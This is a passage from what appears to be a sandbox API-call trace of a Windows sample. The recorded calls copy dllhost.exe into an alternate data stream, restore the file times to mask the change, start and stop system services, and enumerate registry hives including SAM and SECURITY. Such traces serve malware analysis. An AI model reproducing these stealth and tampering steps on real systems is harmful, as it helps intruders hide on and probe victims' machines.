ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1 [0216.637] CreateFileW (lpFileName="C:\\Windows\\system32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0216.637] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0216.637] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x2600 [0216.638] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0216.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2600) returned 0x21f4ea8 [0216.638] ReadFile (in: hFile=0x154, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x2600, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x2600, lpOverlapped=0x0) returned 1 [0216.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2600) returned 0x21f74b0 [0216.646] SetEndOfFile (hFile=0x154) returned 1 [0216.646] GetFileTime (in: hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xe06fa4e0, dwHighDateTime=0x1ca0423)) returned 1 [0216.646] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0216.646] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0216.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0216.646] NtClose (Handle=0x154) returned 0x0 [0216.646] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\dllhost.exe:0" (normalized: "c:\\windows\\system32\\dllhost.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0216.646] GetLastError () returned 0x2 [0216.647] CreateFileW (lpFileName="C:\\Windows\\system32\\dllhost.exe:0" (normalized: "c:\\windows\\system32\\dllhost.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0216.647] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0216.647] WriteFile (in: hFile=0x154, lpBuffer=0x21f74b0*, nNumberOfBytesToWrite=0x2600, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f74b0*, lpNumberOfBytesWritten=0x36f53c*=0x2600, lpOverlapped=0x0) returned 1 [0216.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0216.648] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0216.648] NtClose (Handle=0x154) returned 0x0 [0216.648] OpenServiceW (hSCManager=0x803918, lpServiceName="COMSysApp", dwDesiredAccess=0x10) returned 0x803990 [0216.648] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0217.344] CloseServiceHandle (hSCObject=0x803990) returned 1 [0217.345] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0217.345] GetLastError () returned 0x6 [0217.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f74b0) returned 1 [0217.345] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0217.345] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0217.345] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0217.345] OpenServiceW (hSCManager=0x803918, lpServiceName="NetPipeActivator", dwDesiredAccess=0x20) returned 0x8038a0 [0217.346] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0217.346] GetLastError () returned 0x426 [0217.346] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0217.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0217.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0217.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0217.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0217.346] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0217.347] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.347] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.347] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.347] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0217.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0217.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.348] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0217.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0217.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.348] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0217.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0217.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.348] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0217.348] RegCloseKey (hKey=0x80000002) returned 0x0 [0217.348] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0217.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.349] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.349] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.349] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0217.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.350] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.350] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.350] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.350] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0217.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.351] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0217.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0217.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0217.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.351] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0217.351] RegCloseKey (hKey=0x148) returned 0x0 [0217.351] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0217.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0217.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.352] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0217.352] RtlAllocateHeap 